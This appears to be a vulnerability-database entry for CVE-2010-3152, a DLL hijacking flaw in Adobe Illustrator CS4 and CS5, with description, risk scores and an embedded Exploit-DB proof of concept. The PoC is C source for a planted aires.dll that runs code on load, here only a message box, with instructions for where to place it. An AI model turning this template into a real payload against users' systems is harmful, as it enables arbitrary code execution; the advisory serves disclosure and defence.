CVE-2010-3152

critical

Published 2010-08-27 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Untrusted search path vulnerability in Adobe Illustrator CS4 14.0.0, CS5 15.0.1 and earlier, and possibly other versions allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse dwmapi.dll or aires.dll that is located in the same folder as an .ait or .eps file.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14773 local windows text · 1 KB

Glafkos Charalambous · 2010-08-25

Adobe Illustrator CS4 - 'aires.dll' DLL Hijacking

text exploit Source: Exploit-DB

/* 
Exploit Title: Adobe Illustrator CS4 DLL Hijacking Exploit (aires.dll)
Date: August 25, 2010
Author: Glafkos Charalambous (glafkos[@]astalavista[dot]com)
Version: CS4 v14.0.0
Tested on: Windows 7 x64 Ultimate
Vulnerable extensions: .ait .eps
Greetz: Astalavista, OffSEC, Exploit-DB
Note: Create folders system\enu_us and put aires.dll
*/

#include <windows.h>

BOOL WINAPI DllMain (
            HANDLE    hinstDLL,
            DWORD     fdwReason,
            LPVOID    lpvReserved)
{
    switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		dll_hijack();
	case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
	break;
	}
	return TRUE;
}

int dll_hijack()
{
  MessageBox(0, "Adobe DLL Hijacking!", "DLL Message", MB_OK);
}

Application impact

Vendor	Product	Versions	Fixed
adobe	illustrator	`14.0`
adobe	illustrator	`15.0.1`

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.